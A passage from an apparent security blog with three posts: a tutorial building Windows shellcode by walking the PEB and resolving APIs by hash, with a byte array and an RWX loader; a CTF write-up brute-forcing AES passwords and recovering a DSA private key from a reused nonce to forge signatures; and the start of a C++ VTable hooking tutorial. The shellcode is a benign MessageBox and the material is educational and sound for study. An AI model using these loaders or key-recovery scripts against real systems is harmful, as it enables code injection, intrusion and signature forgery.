+0x003 MinorLinkerVersion : UChar
+0x004 SizeOfCode : Uint4B
+0x008 SizeOfInitializedData : Uint4B
+0x00c SizeOfUninitializedData : Uint4B
+0x010 AddressOfEntryPoint : Uint4B
+0x014 BaseOfCode : Uint4B
+0x018 BaseOfData : Uint4B
+0x01c ImageBase : Uint4B
+0x020 SectionAlignment : Uint4B
+0x024 FileAlignment : Uint4B
+0x028 MajorOperatingSystemVersion : Uint2B
+0x02a MinorOperatingSystemVersion : Uint2B
+0x02c MajorImageVersion : Uint2B
+0x02e MinorImageVersion : Uint2B
+0x030 MajorSubsystemVersion : Uint2B
+0x032 MinorSubsystemVersion : Uint2B
+0x034 Win32VersionValue : Uint4B
+0x038 SizeOfImage : Uint4B
+0x03c SizeOfHeaders : Uint4B
+0x040 CheckSum : Uint4B
+0x044 Subsystem : Uint2B
+0x046 DllCharacteristics : Uint2B
+0x048 SizeOfStackReserve : Uint4B
+0x04c SizeOfStackCommit : Uint4B
+0x050 SizeOfHeapReserve : Uint4B
+0x054 SizeOfHeapCommit : Uint4B
+0x058 LoaderFlags : Uint4B
+0x05c NumberOfRvaAndSizes : Uint4B
+0x060 DataDirectory : [16] _IMAGE_DATA_DIRECTORY

The data directory contain the addresses of some interesting members, and for us it contains above all the addresses of the exported functions.

0:000> dt nt!_IMAGE_DATA_DIRECTORY
+0x000 VirtualAddress : Uint4B
+0x004 Size : Uint4B

So we can use DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress to directly have the address of the export directory:

typedef struct _IMAGE_EXPORT_DIRECTORY {
 DWORD Characteristics;
 DWORD TimeDateStamp;
 WORD MajorVersion;
 WORD MinorVersion;
 DWORD Name;
 DWORD Base;
 DWORD NumberOfFunctions;
 DWORD NumberOfNames;
 DWORD AddressOfFunctions;
 DWORD AddressOfNames;
 DWORD AddressOfNameOrdinals;
} IMAGE_EXPORT_DIRECTORY, *PIMAGE_EXPORT_DIRECTORY;

A function can be exported by name or by ordinal. In consequence, three arrays are kept updated:

AddressOfFunctions, which keep the function’s addresses ordered by ordinal
AddressOfNames, which keep the function names
AddressOfNameOrdinals, which keep the ordinals. This array is in the same order than the AddressOfNames array.

In consequence, if we want the function address based on its name, we will browse all the names in AddressOfFunctions and use the array index in the AddressOfNameOrdinals[index]. This will give us an ordinal that we can use in AddressOfFunctions[ordinal]. We can resume that with a pseudo code:

int i = 0;
while (AddressOfNames[i] != searchedName) {
 i++;
}

return AddressOfFunctions[ AddressOfNamesOrdinals[i] ];

Code

Like when we search the DLL, we will use the DJB hash (but with ASCII strings this time):

PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash) {
 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dwModule;
 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
 PIMAGE_DATA_DIRECTORY dataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
 if (dataDirectory->VirtualAddress == 0) {
 return NULL;
 }

 PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwModule + dataDirectory->VirtualAddress);
 PDWORD ardwNames = (PDWORD)(dwModule + exportDirectory->AddressOfNames);
 PWORD arwNameOrdinals = (PWORD)(dwModule + exportDirectory->AddressOfNameOrdinals);
 PDWORD ardwAddressFunctions = (PDWORD)(dwModule + exportDirectory->AddressOfFunctions);
 char* szName = 0;
 WORD wOrdinal = 0;

 for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) {
 szName = (char*)(dwModule + ardwNames[i]);

 if (djbHash(szName) == functionHash) {
 wOrdinal = arwNameOrdinals[i];
 return (PVOID)(dwModule + ardwAddressFunctions[wOrdinal]);
 }
 }

 return NULL;
}

Compilation

Final code

We have talked about the important structures and the algorithm that we will use. Let’s see how to generate our shellcode.

#pragma comment(linker, "/ENTRY:main")

#include "makestr.h"
#include "peb.h"

typedef HMODULE (WINAPI* _LoadLibraryA)(LPCSTR lpFileName);
typedef int (WINAPI* _MessageBoxA)(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType);

int main();
DWORD getDllByName(DWORD dllHash);
PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash);
DWORD djbHash(char* str);
DWORD djbHashW(wchar_t* str);

int main() {
 DWORD hashKernel32 = 0x6DDB9555; // djbHashW(L"KERNEL32.DLL");
 DWORD hKernel32 = getDllByName(hashKernel32);
 if (hKernel32 == 0) {
 return 1;
 }

 DWORD hashLoadLibraryA = 0x5FBFF0FB; // djbHash("LoadLibraryA");
 _LoadLibraryA xLoadLibraryA = getFunctionAddr(hKernel32, hashLoadLibraryA);
 if (xLoadLibraryA == NULL) {
 return 1;
 }

 char szUser32[] = MAKESTR("user32.dll", 10);
 DWORD hUser32 = xLoadLibraryA(szUser32);
 if (hUser32 == 0) {
 return 1;
 }

 DWORD hashMessageBoxA = 0x384F14B4; // djbHash("MessageBoxA");
 _MessageBoxA xMessageBoxA = getFunctionAddr(hUser32, hashMessageBoxA);
 if (xMessageBoxA == NULL) {
 return 1;
 }

 char szMessage[] = MAKESTR("Hello World", 11);
 char szTitle[] = MAKESTR(":)", 2);
 xMessageBoxA(0, szMessage, szTitle, MB_OK|MB_ICONINFORMATION);

 return 0;
}

inline PEB* getPeb() {
 __asm {
 mov eax, fs:[0x30];
 }
}

DWORD djbHash(char* str) {
 unsigned int hash = 5381;
 unsigned int i = 0;

 for (i = 0; str[i] != 0; i++) {
 hash = ((hash << 5) + hash) + str[i];
 }

 return hash;
}
DWORD djbHashW(wchar_t* str) {
 unsigned int hash = 5381;
 unsigned int i = 0;

 for (i = 0; str[i] != 0; i++) {
 hash = ((hash << 5) + hash) + str[i];
 }

 return hash;
}

DWORD getDllByName(DWORD dllHash) {
 PEB* peb = getPeb();
 PPEB_LDR_DATA Ldr = peb->Ldr;
 PLDR_DATA_TABLE_ENTRY moduleList = (PLDR_DATA_TABLE_ENTRY)Ldr->InLoadOrderModuleList.Flink;

 wchar_t* pBaseDllName = moduleList->BaseDllName.Buffer;
 wchar_t* pFirstDllName = moduleList->BaseDllName.Buffer;

 do {
 if (pBaseDllName != NULL) {
 if (djbHashW(pBaseDllName) == dllHash) {
 return (DWORD)moduleList->BaseAddress;
 }
 }

 moduleList = (PLDR_DATA_TABLE_ENTRY)moduleList->InLoadOrderModuleList.Flink;
 pBaseDllName = moduleList->BaseDllName.Buffer;
 } while (pBaseDllName != pFirstDllName);

 return 0;
}

PVOID getFunctionAddr(DWORD dwModule, DWORD functionHash) {
 PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dwModule;
 PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD)dosHeader + dosHeader->e_lfanew);
 PIMAGE_DATA_DIRECTORY dataDirectory = &ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
 if (dataDirectory->VirtualAddress == 0) {
 return NULL;
 }


 PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)(dwModule + dataDirectory->VirtualAddress);
 PDWORD ardwNames = (PDWORD)(dwModule + exportDirectory->AddressOfNames);
 PWORD arwNameOrdinals = (PWORD)(dwModule + exportDirectory->AddressOfNameOrdinals);
 PDWORD ardwAddressFunctions = (PDWORD)(dwModule + exportDirectory->AddressOfFunctions);
 char* szName = 0;
 WORD wOrdinal = 0;

 for (unsigned int i = 0; i < exportDirectory->NumberOfNames; i++) {
 szName = (char*)(dwModule + ardwNames[i]);

 if (djbHash(szName) == functionHash) {
 wOrdinal = arwNameOrdinals[i];
 return (PVOID)(dwModule + ardwAddressFunctions[wOrdinal]);
 }
 }

 return NULL;
}

The order of the functions declarations is very important: it will define the compilation order. In consequence, if we want to call the shellcode directly, it’s a good idea to declare in first our main function because it will be our entry point. I don’t know if it’s a specificity of Visual Studio or if all compilers do the same thing.

The ASCII string use the define MAKESTR to declare the string like an array. It will force the string to be allocated like this:

mov dword ptr [ebp+szUser32], 72657375h ; user
mov dword ptr [ebp+szUser32+4], 642E3233h ; 32.d
mov word ptr [ebp+szUser32+8], 6C6Ch ; ll
mov [ebp+szUser32+0Ah], 0 ; '\x00'

And the code is generated by a Python script because it’s really redundant:

#pragma once

#define MAKESTR(s, length) MAKESTR_##length(s)

/*
for i in range(1,51):
 s = "#define MAKESTR_%d(s) {" % i
 for j in range(i):
 s += "s[%d]," % j
 s += "0}"

 print(s)
*/

#define MAKESTR_1(s) {s[0],0}
#define MAKESTR_2(s) {s[0],s[1],0}
#define MAKESTR_3(s) {s[0],s[1],s[2],0}
#define MAKESTR_4(s) {s[0],s[1],s[2],s[3],0}
#define MAKESTR_5(s) {s[0],s[1],s[2],s[3],s[4],0}
#define MAKESTR_6(s) {s[0],s[1],s[2],s[3],s[4],s[5],0}
#define MAKESTR_7(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],0}
#define MAKESTR_8(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],0}
#define MAKESTR_9(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],0}
#define MAKESTR_10(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],0}
#define MAKESTR_11(s) {s[0],s[1],s[2],s[3],s[4],s[5],s[6],s[7],s[8],s[9],s[10],0}

Compilation configuration

I use Visual Studio 2017, but I think it’s the same options in the others versions:

C / C++
Optimisation
Reduce the size /O1
Smaller code /Os
Code generation
Disable security verifications /GS-
Linker
Entries
Ignore all the defaults libraries /NODEFAULTLIB

I get a ~3kB file. To extract the shellcode from the file, a simple disassembler will do the job.

Shellcode

The shellcode has a size of 339 bytes but the biggest part is the functions loading and the DLL research. In consequence, even if you have a bigger program, the shellcode will not be a lot bigger. Our shellcode is very simple because it only show a message box, but you can transform this in a downloader with few efforts for example.

#include <Windows.h>

typedef void(__stdcall* _function)();

char shellcode[] =
 "\x55\x8B\xEC\x83\xEC\x1C\x53\x56\x57\x64\xA1\x30\x00\x00\x00\x8B"
 "\x40\x0C\x8B\x50\x0C\x8B\x4A\x30\x8B\xD9\x85\xC9\x74\x29\x0F\xB7"
 "\x01\x33\xFF\xBE\x05\x15\x00\x00\x66\x85\xC0\x74\x1A\x6B\xF6\x21"
 "\x0F\xB7\xC0\x03\xF0\x47\x0F\xB7\x04\x79\x66\x85\xC0\x75\xEE\x81"
 "\xFE\x55\x95\xDB\x6D\x74\x17\x8B\x12\x8B\x4A\x30\x3B\xCB\x75\xCA"
 "\x33\xC9\x5F\x5E\x5B\x85\xC9\x75\x0A\x33\xC0\x40\xEB\x74\x8B\x4A"
 "\x18\xEB\xEF\xBA\xFB\xF0\xBF\x5F\xE8\x69\x00\x00\x00\x85\xC0\x74"
 "\xE8\x8D\x4D\xF0\xC7\x45\xF0\x75\x73\x65\x72\x51\xC7\x45\xF4\x33"
 "\x32\x2E\x64\x66\xC7\x45\xF8\x6C\x6C\xC6\x45\xFA\x00\xFF\xD0\x85"
 "\xC0\x74\xC6\xBA\xB4\x14\x4F\x38\x8B\xC8\xE8\x37\x00\x00\x00\x85"
 "\xC0\x74\xB6\x6A\x40\x8D\x4D\xFC\xC7\x45\xE4\x48\x65\x6C\x6C\x51"
 "\x8D\x4D\xE4\xC7\x45\xE8\x6F\x20\x57\x6F\x51\x6A\x00\xC7\x45\xEC"
 "\x72\x6C\x64\x00\x66\xC7\x45\xFC\x3A\x29\xC6\x45\xFE\x00\xFF\xD0"
 "\x33\xC0\x8B\xE5\x5D\xC3\x55\x8B\xEC\x83\xEC\x10\x8B\x41\x3C\x89"
 "\x55\xFC\x8B\x44\x08\x78\x85\xC0\x74\x56\x8B\x54\x08\x1C\x53\x8B"
 "\x5C\x08\x24\x03\xD1\x56\x8B\x74\x08\x20\x03\xD9\x8B\x44\x08\x18"
 "\x03\xF1\x89\x55\xF0\x33\xD2\x89\x75\xF4\x89\x45\xF8\x57\x85\xC0"
 "\x74\x29\x8B\x34\x96\xBF\x05\x15\x00\x00\x03\xF1\xEB\x09\x6B\xFF"
 "\x21\x0F\xBE\xC0\x03\xF8\x46\x8A\x06\x84\xC0\x75\xF1\x3B\x7D\xFC"
 "\x74\x12\x8B\x75\xF4\x42\x3B\x55\xF8\x72\xD7\x33\xC0\x5F\x5E\x5B"
 "\x8B\xE5\x5D\xC3\x0F\xB7\x04\x53\x8B\x55\xF0\x8B\x04\x82\x03\xC1"
 "\xEB\xEB";

int main() {
 char* payload = (char*) VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(payload, shellcode, sizeof(shellcode));

 _function function = (_function)payload;
 function();

 return 0;
}

Attacking AES and DSA

Wed, 08 Mar 2017 00:00:00 +0000

Recently I was involved in a security conference called SecuDay where I have presented Attacking Games for Fun and Profit. At the end of the conference, we have been invited to resolve some challenges conceived by Charles Bouillaguet.

There was three levels, easy and medium level are based on the bruteforce of an Advanced Encryption Standard 128-bits encryption and the hard level was to crack a bad implementation of the Digital Signature Algorithm. The same implementation failure of DSA was used to break the Sony PS3.

Advanced Encryption Standard

AES is an old symmetric-encryption published in 1977. It’s based on multiple substitutions and permutations and designed to be fast in both software and hardware. We can use a key size of 128, 192 or 256 bits. The idea of this challenge is to show that even if AES is effective, a bad choice of the key can compromise all the system.

Here, we will use AES in CBC (Cipher Block Chaining) mode. In this mode, each block will be encrypted thanks to the previous block. In consequence, the first block needs to be calculated: it’s called the IV (Initialization Vector). In OpenSSL, the IV is based on a password:

IV = md5(md5(password+salt) + password + salt)

In addition, a salt will be used. This salt will be generated randomly by OpenSSL and it will be used to generate the IV and added in the beginning of the encrypted file. In consequence, if we encrypt two times the same file with the same password, it will generate two totally different outputs.

Easy Level

In the first level, we need to bruteforce a file which use a password contained in a dictionnary of 45.000 passwords. In consequence, I have used a totally dumb method: to launch the OpenSSL shell and test all the passwords. Finally I have searched an english text (ASCII only) in all the outputs generated: I have got the valid password in less than 5 minutes. “If it looks stupid but it works, it’s not stupid”.

# Test all the passwords

import subprocess, os
import time, progressbar

f = open('words.txt', 'r')
words = f.read()
f.close()
words = words.split('\n')

bar = progressbar.ProgressBar(max_value=len(words))
i = 0
file = ''
for key in words:
 bar.update(i)
 i += 1
 file = 'out/'+key+'.txt'

 p = subprocess.Popen(['openssl', 'enc', '-d', '-aes-128-cbc', '-base64', '-pass', 'pass:'+key, '-in', 'easy.txt', '-out', file], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
 out, err = p.communicate()
 if err != b'':
 try:
 os.remove(file)
 except:
 pass

print('\nend')

# Search the valid output
import os, sys

def is_ascii(s):
 return all(ord(c) < 128 for c in s)

path = "out/"
dirs = os.listdir( path )

for file in dirs:
 f = open(path+file, 'r')

 try:
 buf = f.read()

 if is_ascii(buf):
 print(file)
 except:
 pass
 finally:
 f.close()

Medium Level

For this second level, the idea was the same but the password has been modified. One letter has been capitalized and one digit has been inserted. If you use the same method, you will get the password in 48 hours: I think that we can do something better. I have done all the AES directly in python, including the IV calculation. You add the multithreading and you can get the password in less than 5 minutes:

import subprocess, os
import time, progressbar
import base64
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF1
import hashlib
import threading

def passToKeyIv(password, salt):
 password = password.encode('latin-1')

 md5 = hashlib.md5()
 md5.update(password+salt)
 key = md5.digest()

 md5 = hashlib.md5()
 md5.update(key+password+salt)
 iv = md5.digest()

 return (key, iv)

def is_ascii(s):
 return all(c < 128 for c in s)

def polypassword(password, letter_position, digit_position, digit):
 if password[letter_position].upper() != password[letter_position]:
 password = password[0:letter_position] + password[letter_position].upper() + password[letter_position+1:]
 else:
 password = password[0:letter_position] + password[letter_position].lower() + password[letter_position+1:]
 password = password[0:digit_position] + str(digit) + password[digit_position:]
 return password

def testPassword(words, digit, progress):
 for password_base in words:
 progress[digit] += 1

 for letter_position in range(len(password_base)):
 for digit_position in range(len(password_base)+1):
 password = polypassword(password_base, letter_position, digit_position, digit)

 (key, iv) = passToKeyIv(password, salt)
 aes = AES.new(key, AES.MODE_CBC, iv)
 msg = aes.decrypt(binary[16:])

 if is_ascii(msg):
 print("\nPassword = "+password)
 os._exit(0)


f = open('medium.txt', 'r')
text = f.read()
f.close()
binary = base64.b64decode(text)
salt = binary[8:16]

f = open('words.txt', 'r')
words = f.read()
f.close()
words = words.split('\n')

max_bar = len(words) * 10
bar = progressbar.ProgressBar(max_value=max_bar)
progress = [0]*10
msg = ""

for digit in range(10):
 t = threading.Thread(target=testPassword, args = (words, digit, progress))
 t.daemon = True
 t.start()

while True:
 time.sleep(0.1)
 bar.update(sum(progress))

D:\SecuDay\medium>python attack2.py
42% (194135 of 454030) |######################## | Elapsed Time: 0:04:55 ETA: 0:06:35
Password = handCuff5s

I have tested this method for the first level, and I have got the password in less than one second:

D:\SecuDay\easy>python attack2.py
33% (15262 of 45403) |#################### | Elapsed Time: 0:00:00 ETA: 0:00:01
Password = eventuality

To situate the time to replicate this bruteforce, my processor is an Intel Core i7-4790k (Quad cores, 4.4 Ghz).

Digital Signature Algorithm

DSA is an algorithm to sign messages. It’s royalty-free and it was published in 1991. Like RSA, it’s based on the P versus NP problem. The DSA signature is composed of two numbers (r, s):

r = g^k mod p mod q
s = k^-1 (H(m) + x*r) mod q

p and q are two prime numbers. x and k are generated randomly and they are inferior than q. H(m) is the hash of the message, here we will use SHA-256. This algorithm can be used with OpenSSL. We can verify a message like that:

openssl dgst -sha256 -verify pk.pem -signature message.der message.txt

The couple (k, x) will be our private key.

Hard Level

We have a website which generate poems and generate its DSA signature. Of course, the website give us one public key to verify the message according to the signature. The target was to recover the private key to generate a self-signed message which is corresponding to the same public key. When we send a request to the server, we get a message in this format:

{
 "poem": "Le vieux marin breton...",
 "signature": "MEQCICKAWoFX1uNjpdNHYRn31F1feKxXaO9OyFym4UolBE2JAiALqJLv8h7Bypra/jLdDKi38TRgs3l9td54FViWEPU/vA=="
}

It’s actually a JSON message containing our poem and our signature. The signature is encoded in base64 and we can recover the couple (r, s) by parsing the ASN.1 format. So in consequence, the first step was to extract all these information and save them:

import base64, json
import requests
import codecs

def parse_asn1(der):
 vr = 0
 vs = 0

 if der[0] != 0x30:
 raise ValueError("Invalid format header (0x30)")

 # VR
 cursor = 2
 if der[cursor] != 0x02:
 raise ValueError("Invalid VR header (0x02)")

 cursor += 1
 vr_length = int(der[cursor])

 cursor += 1
 vr = der[cursor : cursor+vr_length]

 cursor += vr_length
 if der[cursor] != 0x02:
 raise ValueError("Invalid VS header (0x02)")

 cursor += 1
 vs_length = int(der[cursor])

 cursor += 1
 vs = der[cursor:]

 return (vr,vs)

def hex_bignumber(number):
 result = ""
 for n in number:
 result += "%02X" % n

 return result


answer = requests.get(url='http://security.fil.cool/hard/crypto-poet')
data = json.loads(answer.text)
print(data)

signature = data['signature']
signature = base64.b64decode(signature)

# backup
f = open('input.der', 'wb')
f.write(signature)
f.close()
f = codecs.open('poem.txt', 'w', 'utf-8')
f.write(data['poem'])
f.close()

# parse
der = [x for x in signature] # DER format
(vr,vs) = parse_asn1(der)

print("r = "+hex_bignumber(vr))
print("s = "+hex_bignumber(vs))

After multiple call, we see that the number r is always the same. In consequence, we can conclude that the number k is static:

r = g^k mod p mod q

If two messages have the same k, all the system breaks (the modulation per q is not done for a better readability):

sa = k^-1 (H(ma) + x*r)
sb = k^-1 (H(mb) + x*r)
=> sa - sb = k^-1 [H(ma) + x*r - H(mb) - x*r]
=> sa - sb = k^-1 [H(ma) - H(mb)]
=> k = [H(ma) - H(mb)] / (sa - sb)

And now that we have k, we can recover x (m can be the message A or B):

s = k^-1 (H(m) + x*r) mod q
=> x = [(s*k) - H(m)] - r^-1 mod q

I have implemented this algorithm with gmpy2:

import hashlib, math
from decimal import *
from gmpy2 import is_prime, mpq, powmod

def int_to_hexarray(n):
 n_hex = "%x" % n
 if (len(n_hex) % 2) != 0:
 n_hex = '0' + n_hex

 n_array = [int(n_hex[i:i+2], 16) for i in range(0, len(n_hex), 2)]
 return n_array

#####################
f = open('poem1.txt', 'rb')
poem1 = f.read()
f.close()
s1 = 0x0588B660896F999520217C3A0290A48DDEF103342F30C3AFE69CF88F6275D573

#####################
f = open('poem2.txt', 'rb')
poem2 = f.read()
f.close()
s2 = 0x7B2C4707F3AD96AD93BE8A01F7A8B10F3B0AE7CC148F5F719F1DF28990BBC9B9

#####################
r = 0x22805A8157D6E363A5D3476119F7D45D5F78AC5768EF4EC85CA6E14A25044D89 # the same for poem1 and poem2

# pub info
p = 0x00d899aed2c32937911ea8bdc7dce006cc471a178b908806e6f67d20ccb8017de4f437947d161b5d478f23d98a9ba67118f5b1121ad04db0214fea8b9a23c2cd341dab342ad8b453b771b78b978a0f73ec445d36fb42ee5eff4890753a35cf88eb3b9efa74533a2ef5d69042990f286b8528e6e1bd25ed645febf44cb9f54533fff683ccdbe77a929e883d5a714c61af9f5d745443f7e18ea163ba69012e64096ab3929206b9bfa0ce881f5a4d7d6ac15c93fd4eb4935363b40fe787aa0ceed6f556b7bbcec3c36047ebe2787f0c2f1fcfb4d925b35bfadf0c61cb135684c772c21e9b110b316410d59d5aa94e6c1fda3bb8a4b6550b3e3675f41bd64aea47d323
q = 0x008a8624d936fcf2e1b5f70ec351a4d0184d211e00b11883a5cee71e2b7ffa90a9
g = 0x7c9d027c3b807cc7c7681ea2cd283e8bbf9d0c80a20518584a2b3ffe077a69fc8c045907a56a6f5497b30de96e9fe58ebbae0f64ca52a3da18348b2ba242bf8ae75a73c3bfa6e9154476d306c6cfea7c056da1834c8c441cce3f939b5a1cc0f4d2ed67588c89ec0ba2adfdd1c3c0b1ccb0dba29858b172928f6fbd94c0ea31849c8fb18de7c6df962583ff9a9e36271c6e8f95269b776bc1ecba78d9d51465ff5e2c6332ceb198996c0c6c7c16a63dc115ff4f02ef5fc5ec2e7d2bc8ded843e6abefdfc454e420db1c95194047b06ccb9436267e8630401008907eebc309e320c4514d10702f93fd9dfef0d851f1548c27f0551e92259c908a2aca878fd453a7

# Calculte hashs
h1 = hashlib.sha256(poem1).hexdigest()
h1 = int(h1, 16)
h2 = hashlib.sha256(poem2).hexdigest()
h2 = int(h2, 16)

# Search k
# https://rdist.root.org/2010/11/19/dsa-requirements-for-random-k-value/
k = (h1 - h2) * powmod(s1 - s2, -1, q)

# Verify k : we recalculate r
verif_r = powmod(g, k, p) % q
print("r = "+str(r))
print(" = "+str(verif_r))

# Search x
# https://rdist.root.org/2009/05/17/the-debian-pgp-disaster-that-almost-was/
r_ = powmod(r, -1, q)
x = (((s1 * k) - h1) * r_) % q
print("\nx = "+str(x))

# Verify x : we recalculate s1 and s2
k_ = powmod(k, -1, q)
verif_s1 = k_ * (h1 + x*r) % q
print("\ns1 = "+str(s1))
print(" = "+str(verif_s1))
verif_s2 = k_ * (h2 + x*r) % q
print("s2 = "+str(s2))
print(" = "+str(verif_s2))

# Private key reversed, now we will sign our own file
f = open('message.txt', 'rb')
message = f.read()
f.close()

hs = hashlib.sha256(message).hexdigest()
hs = int(hs, 16)

msg_s = k_ * (hs + x*r) % q
print("\nmsg_s = "+str(msg_s))

# save the DER signature file
r_array = int_to_hexarray(r)
s_array = int_to_hexarray(msg_s)

der = [0x30]
der += [2 + len(r_array) + 2 + len(s_array)]
der += [0x02] + [len(r_array)] + r_array
der += [0x02] + [len(s_array)] + s_array
der = bytearray(der)
f = open('message.der', 'wb')
f.write(der)
f.close()

# openssl dgst -sha256 -verify pk.pem -signature message.der message.txt

And finally:

D:\SecuDay\hard>python resolv.py
r = 15605417920377590881469389245680896390382750610028822061399189974844690419081
= 15605417920377590881469389245680896390382750610028822061399189974844690419081
x = 27710599426643914408854717972801960575756827944301668676079434617639908625579
s1 = 2503114164189881647415455885730602322305901068129039816129641154861069620595
= 2503114164189881647415455885730602322305901068129039816129641154861069620595
s2 = 55712711884964560558335380354585001459364905638090643973787639922932968049081
= 55712711884964560558335380354585001459364905638090643973787639922932968049081
msg_s = 55334051898166299680758219392896539106835523742624946935556046710719151299620

Thank you to all the organizers of the SecuDay conference.

VTable Hooking

Wed, 02 Jul 2014 00:00:00 +0000

Today, I will try to explain how we can make a hook on a C++ class method. This technique works on Linux and Windows, but my examples are compiled on Linux.

VTable, what is it?

C++ use the concept of inheritance. We will use two class in this article:

class A {
 public:
 A() {
 printf("Init A\n");
 m_value = 0x1337;
 }

 void virtual Hello() {
 printf("I'm a class A\n");
 }

 void virtual Useless() {
 printf("I'm an useless method\n");
 }
 protected:
 unsigned long m_value;
};

class B : A {
 public:
 B() {
 printf("Init B\n");
 m_value = 0x1338;
 }

 void virtual Hello() {
 printf("I'm a class B\n");
 }
};

B have three methods:

This constructor: B()
The overloaded method Hello()
The inherited method Useless()
And a m_value member.

To see the compiler problem to compile it, let’s see an example:

A* varA = new A();
varA->Hello();
varA->Useless();

A* varB = reinterpret_cast<A*>(new B());
varB->Hello();
varB->Useless();

At the compilation time, how the compiler can know that varB->Hello() is a reference to A::Hello() or B:Hello()? Because when a C++ program is compiled, the compiled code will use a Virtual Call Table (VTable):

*A -> &VTable (ex: 0x401111) -> &Hello (ex: 0x40AAAA)
m_value (ex: 0x1337) &Useless (ex: 0x40BBBB)
*B -> &VTable (ex: 0x402222) -> &Hello (ex: 0x40CCCC)
m_value (ex: 0x1338) &Useless (ex: 0x40BBBB)

With this process, we just need the object address to call the right method!

GDB is our friend

Now, we will compile it with g++ and we will observe its comportement:

#include <stdio.h>

class A {
 public:
 A() {
 printf("Init A\n");
 m_value = 0x1337;
 }

 void virtual Hello() {
 printf("I'm a class A\n");
 }

 void virtual Useless() {
 printf("I'm an useless method\n");
 }
 protected:
 unsigned long m_value;
};

class B : A {
 public:
 B() {
 printf("Init B\n");
 m_value = 0x1338;
 }

 void virtual Hello() {
 printf("I'm a class B\n");
 }
};

int main() {
 A* varA = new A();
 varA->Hello();
 varA->Useless();
 A* varB = reinterpret_cast<A*>(new B());
 varB->Hello();
 varB->Useless();

 return 0;
}

Compile it and debug it with gdb:

$ g++ vtable.cpp -g -o vtable
$ gdb vtable

We will study how the compiler have compiled our code:

gdb-peda$ display/i $pc
gdb-peda$ disas main
Dump of assembler code for function main():
0x0000000000400887 <+0>: push rbp
0x0000000000400888 <+1>: mov rbp,rsp
0x000000000040088b <+4>: push r12
0x000000000040088d <+6>: push rbx
0x000000000040088e <+7>: sub rsp,0x40
0x0000000000400892 <+11>: mov edi,0x10
=> 0x0000000000400897 <+16>: call 0x400760 <_Znwm@plt>
0x000000000040089c <+21>: mov rbx,rax
0x000000000040089f <+24>: mov rdi,rbx
0x00000000004008a2 <+27>: call 0x400ace <A::A()>
0x00000000004008a7 <+32>: mov QWORD PTR [rbp-0x48],rbx
0x00000000004008ab <+36>: mov rax,QWORD PTR [rbp-0x48]
0x00000000004008af <+40>: mov rax,QWORD PTR [rax]
0x00000000004008b2 <+43>: mov rax,QWORD PTR [rax]
0x00000000004008b5 <+46>: mov rdx,QWORD PTR [rbp-0x48]
0x00000000004008b9 <+50>: mov rdi,rdx
0x00000000004008bc <+53>: call rax

We start at:

 0x0000000000400892 <+11>: mov edi,0x10
=> 0x0000000000400897 <+16>: call 0x400760 <_Znwm@plt>

EDI contains the class size and _Znwm@plt uses malloc to allocate memory for our object.

gdb-peda$ info registers
rax 0x602010 0x602010
rbx 0x602010 0x602010
0x000000000040089c <+21>: mov rbx,rax
0x000000000040089f <+24>: mov rdi,rbx
=> 0x00000000004008a2 <+27>: call 0x400ace <A::A()>

At the line <+27>, we call the constructor of the class A with one parameter, the pointer returned by _Znwm@plt:

gdb-peda$ x/3x $rax
0x602010: 0x0000000000000000 0x0000000000000000
0x602020: 0x0000000000000000

gdb-peda$ ni
Init A
0x00000000004008a7 38 A* varA = new A();
1: x/i $pc
=> 0x4008a7 <main()+32>: mov QWORD PTR [rbp-0x48],rbx
gdb-peda$ x/3x $rax
0x602010: 0x0000000000400df0 0x0000000000001337
0x602020: 0x0000000000000000

What is it? It’s just our object allocated in memory! Here, 0x400df0 is a pointer to our VTable and 0x1337 is the value of our m_value! We continue the debugging session:

 0x00000000004008a2 <+27>: call 0x400ace <A::A()>
0x00000000004008a7 <+32>: mov QWORD PTR [rbp-0x48],rbx
0x00000000004008ab <+36>: mov rax,QWORD PTR [rbp-0x48]
0x00000000004008af <+40>: mov rax,QWORD PTR [rax]
0x00000000004008b2 <+43>: mov rax,QWORD PTR [rax]
0x00000000004008b5 <+46>: mov rdx,QWORD PTR [rbp-0x48]
0x00000000004008b9 <+50>: mov rdi,rdx
=> 0x00000000004008bc <+53>: call rax

This manipulation call the member Hello() of our object: we just call the pointer stored at vtable[0]! And, of course, we stock in RDI the pointer on our object to pass it in parameter. Why are we doing this? When we do this.m_value = 0x1337, our method will need to know the address of our object (this), so we need to store it specify it.

gdb-peda$ info registers $rdi
rdi 0x602010 0x602010
gdb-peda$ x/2x $rdi
0x602010: 0x0000000000400df0 0x0000000000001337

Dumping the VTable

Like in gdb, nothing magical:

#include <stdio.h>

class A {
 public:
 A() {
 printf("Init A\n");
 m_value = 0x1337;
 }

 void virtual Hello() {
 printf("I'm a class A\n");
 }

 void virtual Useless() {
 printf("I'm an useless method\n");
 }
 protected:
 unsigned long m_value;
};

class B : A {
 public:
 B() {
 printf("Init B\n");
 m_value = 0x1338;
 }

 void virtual Hello() {
 printf("I'm a class B\n");
 }
};

int main() {
 A* varA = new A();
 varA->Hello();
 varA->Useless();
 A* varB = reinterpret_cast<A*>(new B());
 varB->Hello();
 varB->Useless();

 printf("------------------------------\n");
